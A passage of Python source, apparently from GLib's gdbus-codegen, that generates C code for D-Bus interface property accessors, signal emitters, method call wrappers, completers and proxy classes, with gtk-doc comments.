'g_param_spec_double ("%s", "%s", "%s", -G_MAXDOUBLE, G_MAXDOUBLE, 0.0' % (p.name_hyphen, p.name, p.name) ) elif p.arg.signature == "s": s = 'g_param_spec_string ("%s", "%s", "%s", NULL' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "o": s = 'g_param_spec_string ("%s", "%s", "%s", NULL' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "g": s = 'g_param_spec_string ("%s", "%s", "%s", NULL' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "ay": s = 'g_param_spec_string ("%s", "%s", "%s", NULL' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "as": s = 'g_param_spec_boxed ("%s", "%s", "%s", G_TYPE_STRV' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "ao": s = 'g_param_spec_boxed ("%s", "%s", "%s", G_TYPE_STRV' % ( p.name_hyphen, p.name, p.name, ) elif p.arg.signature == "aay": s = 'g_param_spec_boxed ("%s", "%s", "%s", G_TYPE_STRV' % ( p.name_hyphen, p.name, p.name, ) else: print_error( 'Unsupported gtype "{}" for GParamSpec'.format(p.arg.gtype) ) flags = "G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS" if p.deprecated: flags = "G_PARAM_DEPRECATED | " + flags self.outfile.write(" %s, %s));" % (s, flags)) self.outfile.write("\n") self.outfile.write("}\n" "\n") # ---------------------------------------------------------------------------------------------------- def generate_property_accessors(self, i): for p in i.properties: # getter if p.readable and p.writable: hint = "Since this D-Bus property is both readable and writable, it is meaningful to use this function on both the client- and service-side." elif p.readable: hint = "Since this D-Bus property is readable, it is meaningful to use this function on both the client- and service-side." elif p.writable: hint = "Since this D-Bus property is not readable, it is only meaningful to use this function on the service-side." else: print_error( 'Cannot handle property "{}" that neither readable nor writable'.format( p.name ) ) self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_get_%s: (skip)\n" " * @object: A #%s.\n" " *\n" " * Gets the value of the #%s:%s D-Bus property.\n" " *\n" " * %s\n" " *\n" % (i.name_lower, p.name_lower, i.camel_name, i.name, p.name, hint), False, ) ) if p.arg.free_func is not None: self.outfile.write( " * The returned value is only valid until the property changes so on the client-side it is only safe to use this function on the thread where @object was constructed. Use %s_dup_%s() if on another thread.\n" " *\n" " * Returns: (transfer none) (nullable): The property value or %%NULL if the property is not set. Do not free the returned value, it belongs to @object.\n" % (i.name_lower, p.name_lower) ) else: self.outfile.write(" * Returns: The property value.\n") self.write_gtkdoc_deprecated_and_since_and_close(p, self.outfile, 0) self.outfile.write( "%s\n" "%s_get_%s (%s *object)\n" "{\n" % (p.arg.ctype_in, i.name_lower, p.name_lower, i.camel_name) ) self.outfile.write( " return %s%s_GET_IFACE (object)->get_%s (object);\n" % (i.ns_upper, i.name_upper, p.name_lower) ) self.outfile.write("}\n") self.outfile.write("\n") if p.arg.free_func is not None: self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_dup_%s: (skip)\n" " * @object: A #%s.\n" " *\n" " * Gets a copy of the #%s:%s D-Bus property.\n" " *\n" " * %s\n" " *\n" " * Returns: (transfer full) (nullable): The property value or %%NULL if the property is not set. The returned value should be freed with %s().\n" % ( i.name_lower, p.name_lower, i.camel_name, i.name, p.name, hint, p.arg.free_func, ), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(p, self.outfile, 0) self.outfile.write( "%s\n" "%s_dup_%s (%s *object)\n" "{\n" " %svalue;\n" % ( p.arg.ctype_in_dup, i.name_lower, p.name_lower, i.camel_name, p.arg.ctype_in_dup, ) ) self.outfile.write( ' g_object_get (G_OBJECT (object), "%s", &value, NULL);\n' % (p.name_hyphen) ) self.outfile.write(" return value;\n") self.outfile.write("}\n") self.outfile.write("\n") # setter if p.readable and p.writable: hint = "Since this D-Bus property is both readable and writable, it is meaningful to use this function on both the client- and service-side." elif p.readable: hint = "Since this D-Bus property is not writable, it is only meaningful to use this function on the service-side." elif p.writable: hint = "Since this D-Bus property is writable, it is meaningful to use this function on both the client- and service-side." else: print_error( 'Cannot handle property "{}" that neither readable nor writable'.format( p.name ) ) self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_set_%s: (skip)\n" " * @object: A #%s.\n" " * @value: The value to set.\n" " *\n" " * Sets the #%s:%s D-Bus property to @value.\n" " *\n" " * %s\n" % (i.name_lower, p.name_lower, i.camel_name, i.name, p.name, hint), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(p, self.outfile, 0) self.outfile.write( "void\n" "%s_set_%s (%s *object, %svalue)\n" "{\n" % (i.name_lower, p.name_lower, i.camel_name, p.arg.ctype_in) ) self.outfile.write( ' g_object_set (G_OBJECT (object), "%s", value, NULL);\n' % (p.name_hyphen) ) self.outfile.write("}\n") self.outfile.write("\n") # --------------------------------------------------------------------------------------------------- def generate_signal_emitters(self, i): for s in i.signals: self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_emit_%s:\n" " * @object: A #%s.\n" % (i.name_lower, s.name_lower, i.camel_name), False, ) ) for a in s.args: self.outfile.write( " * @arg_%s: Argument to pass with the signal.\n" % (a.name) ) self.outfile.write( self.docbook_gen.expand( " *\n" " * Emits the #%s::%s D-Bus signal.\n" % (i.name, s.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(s, self.outfile, 0) self.outfile.write( "void\n" "%s_emit_%s (\n" " %s *object" % (i.name_lower, s.name_lower, i.camel_name) ) for a in s.args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) self.outfile.write( ")\n" "{\n" ' g_signal_emit_by_name (object, "%s"' % (s.name_hyphen) ) for a in s.args: self.outfile.write(", arg_%s" % a.name) self.outfile.write(");\n") self.outfile.write("}\n" "\n") # --------------------------------------------------------------------------------------------------- def generate_method_calls(self, i): for m in i.methods: # async begin self.outfile.write( "/**\n" " * %s_call_%s:\n" " * @proxy: A #%sProxy.\n" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write( " * @arg_%s: Argument to pass with the method invocation.\n" % (a.name) ) if self.glib_min_required >= (2, 64): self.outfile.write( " * @call_flags: Flags from the #GDBusCallFlags enumeration. If you want to allow interactive\n" " authorization be sure to set %G_DBUS_CALL_FLAGS_ALLOW_INTERACTIVE_AUTHORIZATION.\n" ' * @timeout_msec: The timeout in milliseconds (with %G_MAXINT meaning "infinite") or\n' " -1 to use the proxy default timeout.\n" ) if m.unix_fd: self.outfile.write( " * @fd_list: (nullable): A #GUnixFDList or %NULL.\n" ) self.outfile.write( self.docbook_gen.expand( " * @cancellable: (nullable): A #GCancellable or %%NULL.\n" " * @callback: A #GAsyncReadyCallback to call when the request is satisfied or %%NULL.\n" " * @user_data: User data to pass to @callback.\n" " *\n" " * Asynchronously invokes the %s.%s() D-Bus method on @proxy.\n" " * When the operation is finished, @callback will be invoked in the thread-default main loop of the thread you are calling this method from (see g_main_context_push_thread_default()).\n" " * You can then call %s_call_%s_finish() to get the result of the operation.\n" " *\n" " * See %s_call_%s_sync() for the synchronous, blocking version of this method.\n" % ( i.name, m.name, i.name_lower, m.name_lower, i.name_lower, m.name_lower, ), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(m, self.outfile, 0) self.outfile.write( "void\n" "%s_call_%s (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) if self.glib_min_required >= (2, 64): self.outfile.write( ",\n GDBusCallFlags call_flags" ",\n gint timeout_msec" ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") self.outfile.write( ",\n" " GCancellable *cancellable,\n" " GAsyncReadyCallback callback,\n" " gpointer user_data)\n" "{\n" ) if m.unix_fd: self.outfile.write( " g_dbus_proxy_call_with_unix_fd_list (G_DBUS_PROXY (proxy),\n" ) else: self.outfile.write(" g_dbus_proxy_call (G_DBUS_PROXY (proxy),\n") self.outfile.write(' "%s",\n' ' g_variant_new ("(' % (m.name)) for a in m.in_args: self.outfile.write("%s" % (a.format_in)) self.outfile.write(')"') for a in m.in_args: self.outfile.write(",\n arg_%s" % (a.name)) self.outfile.write("),\n") if self.glib_min_required >= (2, 64): self.outfile.write(" call_flags,\n" " timeout_msec,\n") else: self.outfile.write(" G_DBUS_CALL_FLAGS_NONE,\n" " -1,\n") if m.unix_fd: self.outfile.write(" fd_list,\n") self.outfile.write( " cancellable,\n" " callback,\n" " user_data);\n" ) self.outfile.write("}\n" "\n") # async finish self.outfile.write( "/**\n" " * %s_call_%s_finish:\n" " * @proxy: A #%sProxy.\n" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.out_args: self.outfile.write( " * @out_%s: (out) (optional)%s: Return location for return parameter or %%NULL to ignore.\n" % (a.name, " " + a.array_annotation if a.array_annotation else "") ) if m.unix_fd: self.outfile.write( " * @out_fd_list: (out) (optional): Return location for a #GUnixFDList or %NULL to ignore.\n" ) self.outfile.write( self.docbook_gen.expand( " * @res: The #GAsyncResult obtained from the #GAsyncReadyCallback passed to %s_call_%s().\n" " * @error: Return location for error or %%NULL.\n" " *\n" " * Finishes an operation started with %s_call_%s().\n" " *\n" " * Returns: (skip): %%TRUE if the call succeeded, %%FALSE if @error is set.\n" % (i.name_lower, m.name_lower, i.name_lower, m.name_lower), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(m, self.outfile, 0) self.outfile.write( "gboolean\n" "%s_call_%s_finish (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.out_args: self.outfile.write(",\n %sout_%s" % (a.ctype_out, a.name)) if m.unix_fd: self.outfile.write(",\n GUnixFDList **out_fd_list") self.outfile.write( ",\n" " GAsyncResult *res,\n" " GError **error)\n" "{\n" " GVariant *_ret;\n" ) if m.unix_fd: self.outfile.write( " _ret = g_dbus_proxy_call_with_unix_fd_list_finish (G_DBUS_PROXY (proxy), out_fd_list, res, error);\n" ) else: self.outfile.write( " _ret = g_dbus_proxy_call_finish (G_DBUS_PROXY (proxy), res, error);\n" ) self.outfile.write(" if (_ret == NULL)\n" " goto _out;\n") self.outfile.write(" g_variant_get (_ret,\n" ' "(') for a in m.out_args: self.outfile.write("%s" % (a.format_out)) self.outfile.write(')"') for a in m.out_args: self.outfile.write(",\n out_%s" % (a.name)) self.outfile.write(");\n" " g_variant_unref (_ret);\n") self.outfile.write("_out:\n" " return _ret != NULL;\n" "}\n" "\n") # sync self.outfile.write( "/**\n" " * %s_call_%s_sync:\n" " * @proxy: A #%sProxy.\n" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write( " * @arg_%s: Argument to pass with the method invocation.\n" % (a.name) ) if self.glib_min_required >= (2, 64): self.outfile.write( " * @call_flags: Flags from the #GDBusCallFlags enumeration. If you want to allow interactive\n" " authorization be sure to set %G_DBUS_CALL_FLAGS_ALLOW_INTERACTIVE_AUTHORIZATION.\n" ' * @timeout_msec: The timeout in milliseconds (with %G_MAXINT meaning "infinite") or\n' " -1 to use the proxy default timeout.\n" ) if m.unix_fd: self.outfile.write( " * @fd_list: (nullable): A #GUnixFDList or %NULL.\n" ) for a in m.out_args: self.outfile.write( " * @out_%s: (out) (optional)%s: Return location for return parameter or %%NULL to ignore.\n" % (a.name, " " + a.array_annotation if a.array_annotation else "") ) if m.unix_fd: self.outfile.write( " * @out_fd_list: (out): Return location for a #GUnixFDList or %NULL.\n" ) self.outfile.write( self.docbook_gen.expand( " * @cancellable: (nullable): A #GCancellable or %%NULL.\n" " * @error: Return location for error or %%NULL.\n" " *\n" " * Synchronously invokes the %s.%s() D-Bus method on @proxy. The calling thread is blocked until a reply is received.\n" " *\n" " * See %s_call_%s() for the asynchronous version of this method.\n" " *\n" " * Returns: (skip): %%TRUE if the call succeeded, %%FALSE if @error is set.\n" % (i.name, m.name, i.name_lower, m.name_lower), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(m, self.outfile, 0) self.outfile.write( "gboolean\n" "%s_call_%s_sync (\n" " %s *proxy" % (i.name_lower, m.name_lower, i.camel_name) ) for a in m.in_args: self.outfile.write(",\n %sarg_%s" % (a.ctype_in, a.name)) if self.glib_min_required >= (2, 64): self.outfile.write( ",\n GDBusCallFlags call_flags" ",\n gint timeout_msec" ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") for a in m.out_args: self.outfile.write(",\n %sout_%s" % (a.ctype_out, a.name)) if m.unix_fd: self.outfile.write(",\n GUnixFDList **out_fd_list") self.outfile.write( ",\n" " GCancellable *cancellable,\n" " GError **error)\n" "{\n" " GVariant *_ret;\n" ) if m.unix_fd: self.outfile.write( " _ret = g_dbus_proxy_call_with_unix_fd_list_sync (G_DBUS_PROXY (proxy),\n" ) else: self.outfile.write( " _ret = g_dbus_proxy_call_sync (G_DBUS_PROXY (proxy),\n" ) self.outfile.write(' "%s",\n' ' g_variant_new ("(' % (m.name)) for a in m.in_args: self.outfile.write("%s" % (a.format_in)) self.outfile.write(')"') for a in m.in_args: self.outfile.write(",\n arg_%s" % (a.name)) self.outfile.write("),\n") if self.glib_min_required >= (2, 64): self.outfile.write(" call_flags,\n" " timeout_msec,\n") else: self.outfile.write(" G_DBUS_CALL_FLAGS_NONE,\n" " -1,\n") if m.unix_fd: self.outfile.write(" fd_list,\n" " out_fd_list,\n") self.outfile.write( " cancellable,\n" " error);\n" " if (_ret == NULL)\n" " goto _out;\n" ) self.outfile.write(" g_variant_get (_ret,\n" ' "(') for a in m.out_args: self.outfile.write("%s" % (a.format_out)) self.outfile.write(')"') for a in m.out_args: self.outfile.write(",\n out_%s" % (a.name)) self.outfile.write(");\n" " g_variant_unref (_ret);\n") self.outfile.write("_out:\n" " return _ret != NULL;\n" "}\n" "\n") # --------------------------------------------------------------------------------------------------- def generate_method_completers(self, i): for m in i.methods: self.outfile.write( "/**\n" " * %s_complete_%s:\n" " * @object: A #%s.\n" " * @invocation: (transfer full): A #GDBusMethodInvocation.\n" % (i.name_lower, m.name_lower, i.camel_name) ) if m.unix_fd: self.outfile.write( " * @fd_list: (nullable): A #GUnixFDList or %NULL.\n" ) for a in m.out_args: self.outfile.write(" * @%s: Parameter to return.\n" % (a.name)) self.outfile.write( self.docbook_gen.expand( " *\n" " * Helper function used in service implementations to finish handling invocations of the %s.%s() D-Bus method. If you instead want to finish handling an invocation by returning an error, use g_dbus_method_invocation_return_error() or similar.\n" " *\n" " * This method will free @invocation, you cannot use it afterwards.\n" % (i.name, m.name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(m, self.outfile, 0) self.outfile.write( "void\n" "%s_complete_%s (\n" " %s *object G_GNUC_UNUSED,\n" " GDBusMethodInvocation *invocation" % (i.name_lower, m.name_lower, i.camel_name) ) if m.unix_fd: self.outfile.write(",\n GUnixFDList *fd_list") for a in m.out_args: self.outfile.write(",\n %s%s" % (a.ctype_in, a.name)) self.outfile.write(")\n" "{\n") if m.unix_fd: self.outfile.write( " g_dbus_method_invocation_return_value_with_unix_fd_list (invocation,\n" ' g_variant_new ("(' ) else: self.outfile.write( " g_dbus_method_invocation_return_value (invocation,\n" ' g_variant_new ("(' ) for a in m.out_args: self.outfile.write("%s" % (a.format_in)) self.outfile.write(')"') for a in m.out_args: self.outfile.write(",\n %s" % (a.name)) if m.unix_fd: self.outfile.write("),\n fd_list);\n") else: self.outfile.write("));\n") self.outfile.write("}\n" "\n") # --------------------------------------------------------------------------------------------------- def generate_proxy(self, i): # class boilerplate self.outfile.write( "/* ------------------------------------------------------------------------ */\n" "\n" ) self.outfile.write( self.docbook_gen.expand( "/**\n" " * %sProxy:\n" " *\n" " * The #%sProxy structure contains only private data and should only be accessed using the provided API.\n" % (i.camel_name, i.camel_name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write("\n") self.outfile.write( self.docbook_gen.expand( "/**\n" " * %sProxyClass:\n" " * @parent_class: The parent class.\n" " *\n" " * Class structure for #%sProxy.\n" % (i.camel_name, i.camel_name), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write("\n") self.outfile.write( "struct _%sProxyPrivate\n" "{\n" " GData *qdata;\n" "};\n" "\n" % i.camel_name ) self.outfile.write( "static void %s_proxy_iface_init (%sIface *iface);\n" "\n" % (i.name_lower, i.camel_name) ) self.outfile.write("#if GLIB_VERSION_MAX_ALLOWED >= GLIB_VERSION_2_38\n") self.outfile.write( "G_DEFINE_TYPE_WITH_CODE (%sProxy, %s_proxy, G_TYPE_DBUS_PROXY,\n" % (i.camel_name, i.name_lower) ) self.outfile.write( " G_ADD_PRIVATE (%sProxy)\n" % (i.camel_name) ) self.outfile.write( " G_IMPLEMENT_INTERFACE (%sTYPE_%s, %s_proxy_iface_init))\n\n" % (i.ns_upper, i.name_upper, i.name_lower) ) self.outfile.write("#else\n") self.outfile.write( "G_DEFINE_TYPE_WITH_CODE (%sProxy, %s_proxy, G_TYPE_DBUS_PROXY,\n" % (i.camel_name, i.name_lower) ) self.outfile.write( " G_IMPLEMENT_INTERFACE (%sTYPE_%s, %s_proxy_iface_init))\n\n" % (i.ns_upper, i.name_upper, i.name_lower) ) self.outfile.write("#endif\n") # finalize self.outfile.write( "static void\n" "%s_proxy_finalize (GObject *object)\n" "{\n" % (i.name_lower) ) self.outfile.write( " %sProxy *proxy = %s%s_PROXY (object);\n" % (i.camel_name, i.ns_upper, i.name_upper) ) self.outfile.write(" g_datalist_clear (&proxy->priv->qdata);\n") self.outfile.write( " G_OBJECT_CLASS (%s_proxy_parent_class)->finalize (object);\n" "}\n" "\n" % (i.name_lower) ) # property accessors # # Note that we are guaranteed that prop_id starts at 1 and is # laid out in the same order as introspection data pointers # self.outfile.write( "static void\n" "%s_proxy_get_property (GObject *object" % (i.name_lower) ) if len(i.properties) == 0: self.outfile.write( " G_GNUC_UNUSED,\n" " guint prop_id G_GNUC_UNUSED,\n" " GValue *value G_GNUC_UNUSED,\n" ) else: self.outfile.write( ",\n" " guint prop_id,\n" " GValue *value,\n" ) self.outfile.write(" GParamSpec *pspec G_GNUC_UNUSED)\n" "{\n") if len(i.properties) > 0: self.outfile.write( " const _ExtendedGDBusPropertyInfo *info;\n" " GVariant *variant;\n" " g_assert (prop_id != 0 && prop_id - 1 < %d);\n" " info = (const _ExtendedGDBusPropertyInfo *) _%s_property_info_pointers[prop_id - 1];\n" " variant = g_dbus_proxy_get_cached_property (G_DBUS_PROXY (object), info->parent_struct.name);\n" " if (info->use_gvariant)\n" " {\n" " g_value_set_variant (value, variant);\n" " }\n" " else\n" " {\n" # could be that we don't have the value in cache - in that case, we do # nothing and the user gets the default value for the GType " if (variant != NULL)\n" " g_dbus_gvariant_to_gvalue (variant, value);\n" " }\n" " if (variant != NULL)\n" " g_variant_unref (variant);\n" % (len(i.properties), i.name_lower) ) self.outfile.write("}\n" "\n") if len(i.properties) > 0: self.outfile.write( "static void\n" "%s_proxy_set_property_cb (GDBusProxy *proxy,\n" " GAsyncResult *res,\n" " gpointer user_data)\n" "{\n" % (i.name_lower) ) self.outfile.write( " const _ExtendedGDBusPropertyInfo *info = user_data;\n" " GError *error;\n" " GVariant *_ret;\n" " error = NULL;\n" " _ret = g_dbus_proxy_call_finish (proxy, res, &error);\n" " if (!_ret)\n" " {\n" " g_warning (\"Error setting property '%%s' on interface %s: %%s (%%s, %%d)\",\n" " info->parent_struct.name, \n" " error->message, g_quark_to_string (error->domain), error->code);\n" " g_error_free (error);\n" " }\n" " else\n" " {\n" " g_variant_unref (_ret);\n" " }\n" % (i.name) ) self.outfile.write("}\n" "\n") self.outfile.write("static void\n" "%s_proxy_set_property (" % (i.name_lower)) if len(i.properties) == 0: self.outfile.write( "GObject *object G_GNUC_UNUSED,\n" " guint prop_id G_GNUC_UNUSED,\n" " const GValue *value G_GNUC_UNUSED,\n" ) else: self.outfile.write( "GObject *object,\n" " guint prop_id,\n" " const GValue *value,\n" ) self.outfile.write(" GParamSpec *pspec G_GNUC_UNUSED)\n" "{\n") if len(i.properties) > 0: self.outfile.write( " const _ExtendedGDBusPropertyInfo *info;\n" " GVariant *variant;\n" " g_assert (prop_id != 0 && prop_id - 1 < %d);\n" " info = (const _ExtendedGDBusPropertyInfo *) _%s_property_info_pointers[prop_id - 1];\n" " variant = g_dbus_gvalue_to_gvariant (value, G_VARIANT_TYPE (info->parent_struct.signature));\n" " g_dbus_proxy_call (G_DBUS_PROXY (object),\n" ' "org.freedesktop.DBus.Properties.Set",\n' ' g_variant_new ("(ssv)", "%s", info->parent_struct.name, variant),\n' " G_DBUS_CALL_FLAGS_NONE,\n" " -1,\n" " NULL, (GAsyncReadyCallback) %s_proxy_set_property_cb, (GDBusPropertyInfo *) &info->parent_struct);\n" " g_variant_unref (variant);\n" % (len(i.properties), i.name_lower, i.name, i.name_lower) ) self.outfile.write("}\n" "\n") # signal received self.outfile.write( "static void\n" "%s_proxy_g_signal (GDBusProxy *proxy,\n" " const gchar *sender_name G_GNUC_UNUSED,\n" " const gchar *signal_name,\n" " GVariant *parameters)\n" "{\n" % (i.name_lower) ) self.outfile.write( " _ExtendedGDBusSignalInfo *info;\n" " GVariantIter iter;\n" " GVariant *child;\n" " GValue *paramv;\n" " gsize num_params;\n" " gsize n;\n" " guint signal_id;\n" ) # Note: info could be NULL if we are talking to a newer version of the interface self.outfile.write( " info = (_ExtendedGDBusSignalInfo *) g_dbus_interface_info_lookup_signal ((GDBusInterfaceInfo *) &_%s_interface_info.parent_struct, signal_name);\n" " if (info == NULL)\n" " return;\n" % (i.name_lower) ) self.outfile.write( " num_params = g_variant_n_children (parameters);\n" " paramv = g_new0 (GValue, num_params + 1);\n" " g_value_init (&paramv[0], %sTYPE_%s);\n" " g_value_set_object (&paramv[0], proxy);\n" % (i.ns_upper, i.name_upper) ) self.outfile.write( " g_variant_iter_init (&iter, parameters);\n" " n = 1;\n" " while ((child = g_variant_iter_next_value (&iter)) != NULL)\n" " {\n" " _ExtendedGDBusArgInfo *arg_info = (_ExtendedGDBusArgInfo *) info->parent_struct.args[n - 1];\n" " if (arg_info->use_gvariant)\n" " {\n" " g_value_init (&paramv[n], G_TYPE_VARIANT);\n" " g_value_set_variant (&paramv[n], child);\n" " n++;\n" " }\n" " else\n" " g_dbus_gvariant_to_gvalue (child, &paramv[n++]);\n" " g_variant_unref (child);\n" " }\n" ) self.outfile.write( " signal_id = g_signal_lookup (info->signal_name, %sTYPE_%s);\n" % (i.ns_upper, i.name_upper) ) self.outfile.write(" g_signal_emitv (paramv, signal_id, 0, NULL);\n") self.outfile.write( " for (n = 0; n < num_params + 1; n++)\n" " g_value_unset (&paramv[n]);\n" " g_free (paramv);\n" ) self.outfile.write("}\n" "\n") # property changed self.outfile.write( "static void\n" "%s_proxy_g_properties_changed (GDBusProxy *_proxy,\n" " GVariant *changed_properties,\n" " const gchar *const *invalidated_properties)\n" "{\n" % (i.name_lower) ) # Note: info could be NULL if we are talking to a newer version of the interface self.outfile.write( " %sProxy *proxy = %s%s_PROXY (_proxy);\n" " guint n;\n" " const gchar *key;\n" " GVariantIter *iter;\n" " _ExtendedGDBusPropertyInfo *info;\n" ' g_variant_get (changed_properties, "a{sv}", &iter);\n' ' while (g_variant_iter_next (iter, "{&sv}", &key, NULL))\n' " {\n" " info = (_ExtendedGDBusPropertyInfo *) g_dbus_interface_info_lookup_property ((GDBusInterfaceInfo *) &_%s_interface_info.parent_struct, key);\n" " g_datalist_remove_data (&proxy->priv->qdata, key);\n" " if (info != NULL)\n" " g_object_notify (G_OBJECT (proxy), info->hyphen_name);\n" " }\n" " g_variant_iter_free (iter);\n" " for (n = 0; invalidated_properties[n] != NULL; n++)\n" " {\n" " info = (_ExtendedGDBusPropertyInfo *) g_dbus_interface_info_lookup_property ((GDBusInterfaceInfo *) &_%s_interface_info.parent_struct, invalidated_properties[n]);\n" " g_datalist_remove_data (&proxy->priv->qdata, invalidated_properties[n]);\n" " if (info != NULL)\n" " g_object_notify (G_OBJECT (proxy), info->hyphen_name);\n" " }\n" "}\n" "\n" % (i.camel_name, i.ns_upper, i.name_upper, i.name_lower, i.name_lower) ) # property vfuncs for p in i.properties: nul_value = "0" if p.arg.free_func is not None: nul_value = "NULL" self.outfile.write( "static %s\n" "%s_proxy_get_%s (%s *object)\n" "{\n" " %sProxy *proxy = %s%s_PROXY (object);\n" " GVariant *variant;\n" " %svalue = %s;\n" % ( p.arg.ctype_in, i.name_lower, p.name_lower, i.camel_name, i.camel_name, i.ns_upper, i.name_upper, p.arg.ctype_in, nul_value, ) ) # For some property types, we have to free the returned # value (or part of it, e.g. the container) because of how # GVariant works.. see https://bugzilla.gnome.org/show_bug.cgi?id=657100 # for details # free_container = False if ( p.arg.gvariant_get == "g_variant_get_strv" or p.arg.gvariant_get == "g_variant_get_objv" or p.arg.gvariant_get == "g_variant_get_bytestring_array" ): free_container = True # If already using an old value for strv, objv, bytestring_array (see below), # then just return that... that way the result from multiple consecutive calls # to the getter are valid as long as they're freed # if free_container: self.outfile.write( ' value = g_datalist_get_data (&proxy->priv->qdata, "%s");\n' " if (value != NULL)\n" " return value;\n" % (p.name) ) self.outfile.write( ' variant = g_dbus_proxy_get_cached_property (G_DBUS_PROXY (proxy), "%s");\n' % (p.name) ) if p.arg.gtype == "G_TYPE_VARIANT": self.outfile.write(" value = variant;\n") self.outfile.write(" if (variant != NULL)\n") self.outfile.write(" g_variant_unref (variant);\n") else: self.outfile.write(" if (variant != NULL)\n" " {\n") extra_len = "" if ( p.arg.gvariant_get == "g_variant_get_string" or p.arg.gvariant_get == "g_variant_get_strv" or p.arg.gvariant_get == "g_variant_get_objv" or p.arg.gvariant_get == "g_variant_get_bytestring_array" ): extra_len = ", NULL" self.outfile.write( " value = %s (variant%s);\n" % (p.arg.gvariant_get, extra_len) ) if free_container: self.outfile.write( ' g_datalist_set_data_full (&proxy->priv->qdata, "%s", (gpointer) value, g_free);\n' % (p.name) ) self.outfile.write(" g_variant_unref (variant);\n") self.outfile.write(" }\n") self.outfile.write(" return value;\n") self.outfile.write("}\n") self.outfile.write("\n") # class boilerplate self.outfile.write( "static void\n" "%s_proxy_init (%sProxy *proxy)\n" "{\n" "#if GLIB_VERSION_MAX_ALLOWED >= GLIB_VERSION_2_38\n" " proxy->priv = %s_proxy_get_instance_private (proxy);\n" "#else\n" " proxy->priv = G_TYPE_INSTANCE_GET_PRIVATE (proxy, %sTYPE_%s_PROXY, %sProxyPrivate);\n" "#endif\n\n" " g_dbus_proxy_set_interface_info (G_DBUS_PROXY (proxy), %s_interface_info ());\n" "}\n" "\n" % ( i.name_lower, i.camel_name, i.name_lower, i.ns_upper, i.name_upper, i.camel_name, i.name_lower, ) ) self.outfile.write( "static void\n" "%s_proxy_class_init (%sProxyClass *klass)\n" "{\n" " GObjectClass *gobject_class;\n" " GDBusProxyClass *proxy_class;\n" "\n" " gobject_class = G_OBJECT_CLASS (klass);\n" " gobject_class->finalize = %s_proxy_finalize;\n" " gobject_class->get_property = %s_proxy_get_property;\n" " gobject_class->set_property = %s_proxy_set_property;\n" "\n" " proxy_class = G_DBUS_PROXY_CLASS (klass);\n" " proxy_class->g_signal = %s_proxy_g_signal;\n" " proxy_class->g_properties_changed = %s_proxy_g_properties_changed;\n" "\n" % ( i.name_lower, i.camel_name, i.name_lower, i.name_lower, i.name_lower, i.name_lower, i.name_lower, ) ) if len(i.properties) > 0: self.outfile.write( " %s_override_properties (gobject_class, 1);\n\n" % (i.name_lower) ) self.outfile.write( "#if GLIB_VERSION_MAX_ALLOWED < GLIB_VERSION_2_38\n" " g_type_class_add_private (klass, sizeof (%sProxyPrivate));\n" "#endif\n" % (i.camel_name) ) self.outfile.write("}\n" "\n") self.outfile.write( "static void\n" "%s_proxy_iface_init (%sIface *iface" % (i.name_lower, i.camel_name) ) if len(i.properties) == 0: self.outfile.write(" G_GNUC_UNUSED)\n") else: self.outfile.write(")\n") self.outfile.write("{\n") for p in i.properties: self.outfile.write( " iface->get_%s = %s_proxy_get_%s;\n" % (p.name_lower, i.name_lower, p.name_lower) ) self.outfile.write("}\n" "\n") # constructors self.outfile.write( self.docbook_gen.expand( "/**\n" " * %s_proxy_new:\n" " * @connection: A #GDBusConnection.\n" " * @flags: Flags from the #GDBusProxyFlags enumeration.\n" " * @name: (nullable): A bus name (well-known or unique) or %%NULL if @connection is not a message bus connection.\n" " * @object_path: An object path.\n" " * @cancellable: (nullable): A #GCancellable or %%NULL.\n" " * @callback: A #GAsyncReadyCallback to call when the request is satisfied.\n" " * @user_data: User data to pass to @callback.\n" " *\n" " * Asynchronously creates a proxy for the D-Bus interface #%s. See g_dbus_proxy_new() for more details.\n" " *\n" " * When the operation is finished, @callback will be invoked in the thread-default main loop of the thread you are calling this method from (see g_main_context_push_thread_default()).\n" " * You can then call %s_proxy_new_finish() to get the result of the operation.\n" " *\n" " * See %s_proxy_new_sync() for the synchronous, blocking version of this constructor.\n" % (i.name_lower, i.name, i.name_lower, i.name_lower), False, ) ) self.write_gtkdoc_deprecated_and_since_and_close(i, self.outfile, 0) self.outfile.write( "void\n" "%s_proxy_new (\n" " GDBusConnection *connection,\n" " GDBusProxyFlags flags,\n" " const gchar *name,\n" " const gchar *object_path,\n" " GCancellable *cancellable,\n
codeparrot/github-code-clean
